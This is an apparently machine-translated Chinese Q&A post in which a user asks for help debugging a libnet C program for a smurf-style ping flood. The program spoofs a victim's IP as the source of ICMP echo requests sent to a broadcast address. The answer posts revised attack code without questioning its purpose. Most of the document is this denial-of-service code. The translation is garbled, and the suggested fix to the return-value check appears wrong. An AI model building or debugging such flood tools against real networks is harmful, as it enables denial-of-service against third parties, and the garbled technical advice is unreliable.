C-诽谤错误:成功



我正在尝试创建一个Ping Flood程序,该程序将目标IP地址和广播IP地址作为参数。该程序将将ICMP回声数据包发送到广播地址,并以Victms IP地址作为来源。获得数据包的网络上的所有主机都会将答案归还给受害者。

代码看起来像这样:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>

void usage(char * pname)
{
    printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a devicen", pname);
    printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]n", pname);
}
int main(int argc, char *argv[])
{
    if(argc != 3)
        usage(argv[0]);

    char errbuff[LIBNET_ERRBUF_SIZE];       
    libnet_t *l;                            
    uint16_t cmp_id;
    uint16_t ip_id; 
    for(int i=0; i<100; i++)
    {
    l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
    if(l==NULL)
    {
        fatal("in initializing the index of the packet...nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    libnet_seed_prand(l);
    cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
    ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
    if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
    {
        fatal("while trying to build icmpv4_echo packet...nERROR: ");
        printf("%s",libnet_geterror(l));
    }
    if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
    {
        fatal("while trying to create ipv4 header...nERROR: ");
        printf("%s",libnet_geterror(l));
    }
    if(libnet_write(l) == -1)
    {
        fatal("while trying to write the packet...nERROR: ");
        printf("%s",libnet_geterror(l));
    }

    libnet_destroy(l);
    }
    return 0;
}

当我运行时,我会得到此输出:

[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success

我正在使用libnet库来创建数据包,我有一种感觉,我在libnet_build_ipv4()function中有某种错误。

有任何帮助和建议吗?

thanx。

关于:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0) 

这是不正确的,0返回的值表示成功。

该语句应为:

if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0) 

注意从==!=

的更改

以下提出的代码:

  1. 可简洁地编译和链接: GCC -GGDB -WALL -WEXTRA -WCONVERSION -PESTONTION -STD = GNU11 libnet-config --defines UNTITITLID2.C -O UNTITLED2 libnet-config --libs
  2. 始终格式化
  3. 任何错误后立即退出,您可能需要添加语句:libnet_destroy(libobject);在创建对象之后的任何出口。

尚未使用实际URL测试警告

现在提出的代码:

#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
//#include <udi.h>

void usage(char * pname);

int main(int argc, char *argv[])
{
    if(argc != 3)
    {
        usage(argv[0]);
        exit( EXIT_FAILURE );
    }
    char errbuff[LIBNET_ERRBUF_SIZE];
    uint16_t cmp_id;
    uint16_t ip_id;
    for( int i=0; i<100; i++ )
    {
        libnet_t *libObject = libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff);  //initializing the packet
        if( ! libObject )
        {
            fprintf( stderr, "%sn",
                "in initializing the index of the packet...nERROR: ");
            fprintf( stderr, "%sn", libnet_geterror( libObject ));
        }
        libnet_seed_prand( libObject );
        cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
        ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
        if(libnet_build_icmpv4_echo(
            ICMP_ECHO,
            0,
            0,
            cmp_id,
            1,
            NULL,
            0,
            libObject,
            0) != 0)
        {
            fprintf( stderr, "%sn",
                "while trying to build icmpv4_echo packet...nERROR: ");
            fprintf( stderr, "%sn",
                libnet_geterror( libObject ));
        }
        if( libnet_build_ipv4(
            LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H,
            0,
            ip_id,
            0,
            255,
            IPPROTO_ICMP,
            0,
            inet_addr(argv[1]),
            inet_addr(argv[2]),
            NULL,
            0,
            libObject,
            0) == -1)
        {
            fprintf( stderr, "%sn",
                "while trying to create ipv4 header...nERROR: ");
            fprintf( stderr, "%sn",
                libnet_geterror( libObject ));
        }
        if(libnet_write( libObject ) == -1)
        {
            fprintf( stderr, "%sn",
                "while trying to write the packet...nERROR: ");
            fprintf( stderr, "%sn",
                libnet_geterror( libObject ));
        }
        libnet_destroy( libObject );
    }
    return 0;
}


void usage(char * pname)
{
    fprintf( stderr, "%s %sn",
        pname,
        "sends fake icmp echo request to broadcast address "
        "in order to ping flood a device");
    fprintf( stderr, "USAGE: %s %sn",
        pname,
        "[ipv4 address to attack] [ipv4 broadcast address]");
}

代码的运行,没有参数会导致:

./untitled2 sends fake icmp echo request to broadcast address in order to ping flood a device
USAGE: ./untitled2 [ipv4 address to attack] [ipv4 broadcast address]

最新更新